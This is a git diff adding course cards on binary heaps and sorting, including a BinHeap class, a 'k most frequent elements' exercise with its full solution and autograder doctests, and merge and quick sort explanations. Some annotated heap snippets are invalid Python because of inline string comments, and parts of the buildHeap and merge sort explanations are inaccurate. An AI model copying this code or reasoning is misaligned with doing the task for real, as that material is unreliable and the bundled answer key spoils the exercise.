new file mode 100644
index 00000000..94feb623
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/2.md
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+The next method we will implement is `insert`. The easiest, most efficient way to add an item to a list is to append it to the end of the list. Appending guarantees that the complete tree property will be maintained. However, by appending, we will most likely violate the heap structure property. It is possible to write a method that retains the heap structure property by comparing the newly added item with its parent. If the new item is less than its parent, then we can swap it with its parent. The figure below shows the series of swaps needed to percolate the new item up to its proper position in the tree:
+
+
+
+> Figure 2: Percolate the new node up to its proper position (MinHeap with the percUp method).
+
+
+
+Notice that when we percolate an item up, we are restoring the heap property between the new item and the parent. We are also preserving the heap property for any siblings. **If the newly added item is very small, we may still need to swap it up another level**. **We may need to keep swapping until we get to the top of the tree while the new item is smaller than its parent**.
+
+Below depicts the `percUp` method, which percolates a new item as far up in the tree as it needs to go to maintain the heap property. Figure 2 represents the MinHeap (the parent node is less than or equal to the children node) with the `percUp` method. MaxHeap (the parent node is greater than or equal to the children node) can be used with the `percUp` method when the inserted number is greater than the parent node. Here is where our wasted element in `heapList` is important. Notice that we can compute the parent of any node by using simple integer division. The parent of the current node can be computed by dividing the index of the current node by 2.
+
+```python
+def percUp(self,i):
+ while i // 2 > 0: "dividing the index of the current node(i) by 2"
+ if self.heapList[i] < self.heapList[i // 2]: "if heapList[i] is less than heaplist[i//2] "
+ tmp = self.heapList[i // 2] "tmp is equal to heapList[i//2]"
+ self.heapList[i // 2] = self.heapList[i]"heapList[i//2] is equal to heapList[i]"
+ self.heapList[i] = tmp "heapList[i] is equal to tmp"
+ i = i // 2 "index of current node is equal to i//2 "
+```
+
+
+
+We are now ready to write the `insert` method (see below). Most of the work in the `insert` method is really done by `percUp`. Once a new item is appended to the tree, `percUp` takes over and positions the new item properly.
+
+```python
+def insert(self,k):
+ self.heapList.append(k)
+ self.currentSize = self.currentSize + 1
+ self.percUp(self.currentSize)
+```
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/3.md
new file mode 100644
index 00000000..46e00e6c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/3.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+With the `insert` method properly defined, we can now look at the `delMin` method. Since the heap property requires that the root be the smallest item in the tree, finding the minimum item is easy. The hard part of `delMin` is restoring full compliance with the heap structure and heap order properties after removing the root. We can restore our heap in two steps. First, we will take the last item in the list and moving it to the root position. Moving the last item restores the root and maintains our heap structure property. However, by doing so, we've probably destroyed the heap order property of our binary heap. Second, we will restore the heap order property by pushing the new root node down the tree to its proper position. The figure below shows the series of swaps needed to move the new root node to its proper position in the heap:
+
+
+
+> Figure 3: Percolating the root node down the tree (delMin from MinHeaps)
+
+In order to maintain the heap order property, we need to swap the root with its smallest child that is less than the root. After the initial swap, we may repeat the swapping process with a node and its children until the node is swapped into a position on the tree where it is already less than both children. The code for percolating a node down the tree is found in the `percDown` and `minChild` methods as seen below:
+
+```python
+def percDown(self,i):
+ while (i * 2) <= self.currentSize: "While index of current node times 2 is less than or eqaual to currentSize of heaplist"
+ mc = self.minChild(i) "integer mc is equal to minChild"
+ if self.heapList[i] > self.heapList[mc]:
+ "if heapList[i] is greater than heapList[mc]"
+ tmp = self.heapList[i] "tmp is equal to heapList[i]"
+ self.heapList[i] = self.heapList[mc] "heapList[i] is equal to heapList[mc]"
+ self.heapList[mc] = tmp "heapList[mc] is equal to tmp"
+ i = mc "index of current node is equal to mc"
+
+def minChild(self,i):
+ if i * 2 + 1 > self.currentSize:
+ return i * 2
+ else:
+ if self.heapList[i*2] < self.heapList[i*2+1]:
+ return i * 2
+ else:
+ return i * 2 + 1
+```
+
+
+
+The code for the `delmin` operation is defined below. Once again, the hard work is handled by a helper function, or in this case, `percDown`.
+
+```python
+def delMin(self):
+ retval = self.heapList[1]
+ self.heapList[1] = self.heapList[self.currentSize]
+ self.currentSize = self.currentSize - 1
+ self.heapList.pop()
+ self.percDown(1)
+ return retval
+```
+
+
+
+##### Example of MaxHeap Deletion
+
+
+
+> Figure 4: Percolating the root node down the tree (delMax from MaxHeaps)
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/4.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/4.md
new file mode 100644
index 00000000..cd1e2e5e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/4.md
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+To finish our discussion of binary heaps, we will look at a method to build an entire heap from a list of keys. You could easily build a heap from the list by inserting each key one at a time. Since you are starting with a list of one type of item, the list is sorted and you could use binary search to find where to insert the next key at a cost of approximately **𝑂(log𝑛)** operations. However, remember that inserting an item in the middle of the list may require **𝑂(𝑛)** operations to shift the list to accommodate for the new key. Therefore, to insert 𝑛 keys into the heap would require a total of **𝑂(𝑛log𝑛)** operations. However, if we start with an entire list, then we can build the whole heap in **𝑂(𝑛)** operations. Below is the code to build the entire heap:
+
+```python
+def buildHeap(self,alist):
+ i = len(alist) // 2
+ self.currentSize = len(alist)
+ self.heapList = [0] + alist[:]
+ while (i > 0):
+ self.percDown(i)
+ i = i - 1
+```
+
+To visually interpret how the heap is built from the function above, the below figure depicts how it is built:
+
+
+
+> Figure 4: Building a heap from the list [9, 6, 5, 2, 3]
+
+Figure 4 shows the swaps that the `buildHeap` method makes as it moves the nodes from an initial tree of [9, 6, 5, 2, 3] to their proper positions.
+
+Initial Heap: [9, 6, 5, 2, 3]
+i = 2 : [9, 2, 5, 6, 3]
+i = 1 : [2, 9, 5, 6, 3]
+i = 0 : [2, 3, 5, 6, 9]
+
+The `percDown` method ensures that the largest child is always moved down the tree and checks the next set of children farther down to ensure that it is pushed as low as it can go.
+
+In this case, initial list [9, 6, 5, 2, 3] turned into the list [2, 3, 5, 6, 9]. When **len(aList) = 5; i = len(aList) // 2, i = 2**, a number '2' at the lowest level of the tree swapped with the number '6'. When **i = 1**, the number '2' swapped with the number '9' because 2 is less than 9. Now, the number '2' is located in the right position of the heap. The number '9' needed to swap to the lowest level of the tree after the comparison with the number '3'. This results in a swap with the number '3'. Now that the number '9' has been moved to the lowest level of the tree, no further swapping can be done. It is useful to compare the list representation of this series of swaps as shown in [Figure 4](https://runestone.academy/runestone/books/published/pythonds/Trees/BinaryHeapImplementation.html#fig-buildheap) with the tree representation.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/5.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/5.md
new file mode 100644
index 00000000..5bd4bafb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/5.md
@@ -0,0 +1,113 @@
+
+
+
+
+
+
+Now with our complete implementation of our binary heap (min heap):
+
+```python
+class BinHeap:
+ def __init__(self):
+ self.heapList = [0]
+ self.currentSize = 0
+
+ def percUp(self,i):
+ while i // 2 > 0:
+ if self.heapList[i] < self.heapList[i // 2]:
+ tmp = self.heapList[i // 2]
+ self.heapList[i // 2] = self.heapList[i]
+ self.heapList[i] = tmp
+ i = i // 2
+
+ def insert(self,k):
+ self.heapList.append(k)
+ self.currentSize = self.currentSize + 1
+ self.percUp(self.currentSize)
+
+ def percDown(self,i):
+ while (i * 2) <= self.currentSize:
+ mc = self.minChild(i)
+ if self.heapList[i] > self.heapList[mc]:
+ tmp = self.heapList[i]
+ self.heapList[i] = self.heapList[mc]
+ self.heapList[mc] = tmp
+ i = mc
+
+ def minChild(self,i):
+ if i * 2 + 1 > self.currentSize:
+ return i * 2
+ else:
+ if self.heapList[i*2] < self.heapList[i*2+1]:
+ return i * 2
+ else:
+ return i * 2 + 1
+
+ def delMin(self):
+ retval = self.heapList[1]
+ self.heapList[1] = self.heapList[self.currentSize]
+ self.currentSize = self.currentSize - 1
+ self.heapList.pop()
+ self.percDown(1)
+ return retval
+
+ def buildHeap(self,alist):
+ i = len(alist) // 2
+ self.currentSize = len(alist)
+ self.heapList = [0] + alist[:]
+ while (i > 0):
+ self.percDown(i)
+ i = i - 1
+```
+
+We can now test it out by generating a binary heap and deleting the minimum element to determine if the heap's functionality operates properly. Below, we will define our binary heap `bh` by calling for the class constructor to initialize our structure. Then, we will build our heap by passing in a list of elements.
+
+```python
+bh = BinHeap()
+bh.buildHeap([9,6,5,2,3])
+```
+
+For reference, given the list `[9, 6, 5, 2 ,3]`, our implementation should produce the *Initial Heap* shown below:
+
+
+
+To test if our binary heap functions like a min heap, we can call `delMin()` to retrieve the minimum value in our tree on each call.
+
+```python
+print(bh.delMin())
+print(bh.delMin())
+print(bh.delMin())
+print(bh.delMin())
+print(bh.delMin())
+```
+
+
+
+After the first delete min, it retrieves node 2; the tree on the right is the final result.
+
+
+
+The second `delMin()` retrieves node 3.
+
+
+
+The third `delMin()` retrieves node 5.
+
+
+
+The fourth `delMin()` retrieves node 6.
+
+
+
+The fifth `delMin()` retrieves node 9.
+
+The implementation should produce the *Initial Heap* list [2, 3, 5, 6, 9]. After each calling `delMin()`, the print statements will output our list from least to greatest, indicating our binary/min heap functions as such!
+
+| delMin() Order | Print output |
+| :------------: | :----------: |
+| 1st | 2 |
+| 2nd | 3 |
+| 3rd | 5 |
+| 4th | 6 |
+| 5th | 9 |
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/6.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/6.md
new file mode 100644
index 00000000..0811e837
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/6.md
@@ -0,0 +1,19 @@
+Now we are going to solve a coding problem:
+
+### K Most Frequent Elements
+
+**Given a non-empty array of integers, create a function that returns the k most frequent elements. Use a binary heap to solve this problem.**
+
+#### Example 1:
+
+Input: `[1,1,1,2,2,3]`, k = 2\
+Output: `[1,2]`
+
+#### Example 2:
+
+Input: `[1]`, k = 1\
+Output: `[1]`
+
+#### Hint:
+
+Think about how to take advantage of the organizational structure of a Min Heap to solve this problem.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/7.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/7.md
new file mode 100644
index 00000000..2d2712cd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/7.md
@@ -0,0 +1,11 @@
+The way to approach this problem is to look at it as a 3-step problem:
+
+**Step 1:** Keep a count of each element in the list.\
+**Step 2:** Sort the result from Step 1.\
+**Step 3:** Determine the k most frequent elements.
+
+In Step 1, we will loop through each element in the list and tally it onto a dictionary, using the elements as keys.
+
+Step 2 is where we implement the Binary Heap. We will loop through each key-value pair in the dictionary we created in Step 1 and insert them one-by-one into a heap. We will use the `BinHeap` class and the `insert` method to do this. The `insert` method also calls `percUp` which sorts everything for us, making the final step super easy.
+
+In Step 3, we simply call `delMin` k times and return the results in a list.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/8.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/8.md
new file mode 100644
index 00000000..b93df3b4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/cards/8.md
@@ -0,0 +1,37 @@
+Here is the solution in Python code:
+
+```python
+def top_k_frequent(nums, k):
+
+ ## Step 1: use dictionary to keep track of element frequencies
+ d = dict()
+ for num in nums:
+ if num not in d.keys():
+ d[num] = 1
+ else:
+ d[num] += 1
+
+ ## Step 2: use binary heap to sort key-value pairs from dictionary
+ heap = BinHeap()
+ for key in d.keys():
+
+ # we insert a tuple consisting of the negative of the element's frequency, followed by the element itself
+ # we use the negative of the frequency because our heap is a MinHeap and so the lowest values will
+ # bubble to the top; however these are actually the highest values, which is what we want
+ heap.insert((-d[key], key))
+
+ ## Step 3: Retrieve the k most frequent elements, which have been naturally sorted by our heap
+
+ # create an empty list
+ res = []
+
+ # call delMin() k times
+ for i in range(k):
+ temp = heap.delMin()
+
+ # add the 2nd element of each tuple to the list
+ res.append(temp[1])
+
+ # return the list containing the k most frequent elements
+ return res
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/checkpoints/7-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/checkpoints/7-checkpoint.md
new file mode 100644
index 00000000..db0c41cd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/checkpoints/7-checkpoint.md
@@ -0,0 +1,17 @@
+# name
+Checkpoint: Solution to k most frequent elements problem
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act3_Binary Heaps
+
+# checkpoint_type
+Autograder
+
+# files_to_send
+main.py
+
+# instruction
+Please submit your solution code to the k most frequent elements problem.
+
+# test_file_location
+Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act3_Binary Heaps/tests
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/652RHQs.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/652RHQs.png
new file mode 100644
index 00000000..4645580f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/652RHQs.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/BpKsCA3.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/BpKsCA3.png
new file mode 100644
index 00000000..3b85a2bd
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/BpKsCA3.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/SgrYZlc.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/SgrYZlc.png
new file mode 100644
index 00000000..2ce0712f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/SgrYZlc.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/buildheap.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/buildheap.png
new file mode 100644
index 00000000..6f8bf0dd
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/buildheap.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/cNo3ap4.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/cNo3ap4.png
new file mode 100644
index 00000000..f94c8d91
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/cNo3ap4.png differ
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/delmaxheap.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/delmaxheap.png
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/delmaxheap.png
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/delmaxheap.png
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/ehc3LXK.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/ehc3LXK.png
new file mode 100644
index 00000000..438cbc7d
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/ehc3LXK.png differ
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/employeeid.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/employeeid.png
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/employeeid.png
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/employeeid.png
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/fifMvXE.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/fifMvXE.png
new file mode 100644
index 00000000..6fe26d63
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/fifMvXE.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.bmp b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.bmp
new file mode 100644
index 00000000..626ac9e8
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.bmp differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.jpeg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.jpeg
new file mode 100644
index 00000000..08457c29
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heap.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heapOrder.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heapOrder.png
new file mode 100644
index 00000000..0a816a2d
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/heapOrder.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percDown.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percDown.png
new file mode 100644
index 00000000..342cf7f9
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percDown.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percUp.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percUp.png
new file mode 100644
index 00000000..829365dc
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/percUp.png differ
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/pict_15.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/pict_15.png
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/activities/Act3_Binary Heaps/pict_15.png
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/pict_15.png
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/wxj037k.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/wxj037k.png
new file mode 100644
index 00000000..a3696631
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/images/wxj037k.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/tests/checkpoint.test b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/tests/checkpoint.test
new file mode 100644
index 00000000..b9b4b8b9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity3_Binary Heaps/tests/checkpoint.test
@@ -0,0 +1,4 @@
+>>> top_k_frequent([1,1,1,2,2,3], 2)
+[1, 2]
+>>> top_k_frequent([1], 1)
+[1]
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/1.md
new file mode 100644
index 00000000..3f08b36c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/1.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+#### Python Sorting Algorithms
+
+When a program takes in data, we need to have the data in some order before we can use it. Think of the last time you bought something online. You probably used different criteria to filter your search results, whether they were by price, rating, size, or other categories.
+
+Behind the scenes, a program puts each object in order depending on your desired criteria. This is where sorting comes in. When humans manually categorize something, such as a deck of cards, each person may choose to do so in a different style. Some may search for the aces, then the twos, and so on. Some may sort by suit first. While there is no wrong way to reach a sorted sequence, efficiency differs between methods.
+
+Similarly, in Python, when we want to sort data from an input file, there are different systematic **algorithms** that we can use to create an ordered list.
+
+Though there isn't a single algorithm considered the most optimal in every circumstance, we will go over four of the most classic sorting algorithms:
+
+- Bubble sort
+- Merge sort
+- Insertion sort
+- Quick sort
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/10.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/10.md
new file mode 100644
index 00000000..e5211378
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/10.md
@@ -0,0 +1,89 @@
+
+
+
+
+
+
+### Merge Sort in Python (Part II)
+
+```python
+ i = j = k = 0
+ while i < len(lefthalf) and j < len(righthalf):
+ if lefthalf[i] <= righthalf[j]:
+ alist[k]=lefthalf[i]
+ i=i+1
+ else:
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+```
+
+At this point, we're ready to start combining elements. We have `lefthalf`, `righthalf`, and the original `alist` from where the two halves came from. (Note: When we say "original", it only means the list passed to *this* particular iteration of the **mergesort** function. We could be at any step in the overall splitting-sorting-combining process.)
+
+We create three new variables `i`, `j`, and `k` to keep track of our position within `lefthalf`, `righthalf`, and `alist` respectively. Now, we start iterating through both `lefthalf` and `righthalf`, comparing them element by element. Whichever element is the smaller of the two gets placed in the appropriate position in our `alist`. We keep doing this until we finish sorting and combining all elements in both halves.
+
+```python
+ while i < len(lefthalf):
+ alist[k]=lefthalf[i]
+ i=i+1
+ k=k+1
+
+ while j < len(righthalf):
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+```
+
+There might be situations where we still have elements "leftover" after this combining process. These elements haven't been sorted and combined yet. The most common example of this happening is when we have an odd number of elements in our main list and the two halves aren't equal. In this case, we tack on these elements to the end of our main list. We'll deal with them in a later step.
+
+```python
+def printList(arr):
+ for i in range(len(arr)):
+ print(arr[i],end=" ")
+ print()
+```
+
+We use this function for when we want to print a list without any brackets or commas showing up in our output.
+
+```python
+def mergeSort(alist):
+ if len(alist) > 1:
+ mid = len(alist) // 2 # integer division
+ lefthalf = alist[:mid]
+ righthalf = alist[mid:]
+ mergeSort(lefthalf)
+ mergeSort(righthalf)
+
+ i = 0
+ j = 0
+ k = 0
+ while i < len(lefthalf) and j < len(righthalf):
+ if lefthalf[i] <= righthalf[j]:
+ alist[k]=lefthalf[i]
+ i=i+1
+ else:
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+ while i < len(lefthalf):
+ alist[k]=lefthalf[i]
+ i=i+1
+ k=k+1
+
+ while j < len(righthalf):
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+def printList(arr):
+ for i in range(len(arr)):
+ print(arr[i],end=" ")
+ print()
+
+alist = [14,46,43,27,57,41,45,21,70]
+mergeSort(alist)
+printList(alist)
+```
+
+Use this code to call our functions and ensure they work properly.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11-checkpoint.md
new file mode 100644
index 00000000..00ce8783
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: Merge Sort Time Complexity checkpoint
+
+**Instruction**: What is the time complexity of merge sort and why? Explain briefly where the various parts come from.
+
+**Type**: short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11.md
new file mode 100644
index 00000000..6993f9cc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/11.md
@@ -0,0 +1,87 @@
+
+
+
+
+
+
+Merge sort is similar to insertion sort in that all three cases have the same time complexity. Again, here is the code for the algorithm as a reference:
+
+```Python
+def mergeSort(alist):
+ if len(alist) > 1:
+ mid = len(alist) // 2 # integer division
+ lefthalf = alist[:mid]
+ righthalf = alist[mid:]
+ mergeSort(lefthalf)
+ mergeSort(righthalf)
+
+ i = 0
+ j = 0
+ k = 0
+ while i < len(lefthalf) and j < len(righthalf):
+ if lefthalf[i] <= righthalf[j]:
+ alist[k]=lefthalf[i]
+ i=i+1
+ else:
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+ while i < len(lefthalf):
+ alist[k]=lefthalf[i]
+ i=i+1
+ k=k+1
+
+ while j < len(righthalf):
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+
+```
+
+Merge sort's time complexity for all three cases is O(nlogn).
+
+###Where does Log n come from?
+
+The logn in the time complexity comes from the recursion happening two lines below the first if statement:
+
+```python
+def mergeSort(alist):
+ if len(alist) > 1:
+ mid = len(alist) // 2 # integer division
+ lefthalf = alist[:mid]
+ righthalf = alist[mid:]
+ mergeSort(lefthalf)
+ mergeSort(righthalf)
+```
+
+As you can see from the above code, whenever the algorithm recurses, only half of the list is passed on, meaning it is doing only half the work. Since it halves the list every recursion regardless of the list's state (ordered or not), the time complexity for this part of the code is O(logn) for all cases.
+
+###Where does the n come from?
+
+The n comes from the three while-loops present in the code:
+
+```python
+while i < len(lefthalf) and j < len(righthalf):
+ if lefthalf[i] <= righthalf[j]:
+ alist[k]=lefthalf[i]
+ i=i+1
+ else:
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+ while i < len(lefthalf):
+ alist[k]=lefthalf[i]
+ i=i+1
+ k=k+1
+
+ while j < len(righthalf):
+ alist[k]=righthalf[j]
+ j=j+1
+ k=k+1
+
+```
+
+The n comes from while-loops iterating over half of the list n times. Due to the conditions given to the while-loops, every time the algorithm recurses, only one while-loop will trigger. This prevents the time complexity from becoming O(n^2) or O(n^3). Therefore, when you combine the time complexity from the recursion and from while-loops, you get O(nlogn).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/12.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/12.md
new file mode 100644
index 00000000..f2e6310d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/12.md
@@ -0,0 +1,39 @@
+
+
+
+
+
+
+# Quick Sort Theory
+
+Quick sort may be the hardest of the four algorithms to understand, as it relies on something called a "pivot value" to compare and swap numbers around.
+
+
+
+We will use a sample list to demonstrate each step of the algorithm. This is the same list from our bubble sort and insertion sort examples:
+
+
+
+1. We first choose an element to be our "pivot point." There are many different strategies on how to pick the pivot point. For our example, we randomly chose the element `3` as our pivot. The code below chooses to always pick the last element in a list as the pivot.
+
+
+
+2. Start at the left of the list and continue through until you come across a value higher than the pivot. In our case, we didn't need to move. The first element `6` is already larger than our pivot.
+
+
+
+3. Do the same starting from the right end of the list. Move left until you come across a value smaller than the pivot. That would be `2` in our example, the second-to-last element in the list.
+
+
+
+4. Swap these two values.
+
+
+
+5. Continue moving through the list, repeating Steps 2-4 until both sides meet the pivot point. At this point, our list should look like this:
+
+
+
+6. We're done with `3`. Now, we select a different pivot and repeat the process all over again. We keep doing this until we get a fully sorted list, as shown below:
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/13.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/13.md
new file mode 100644
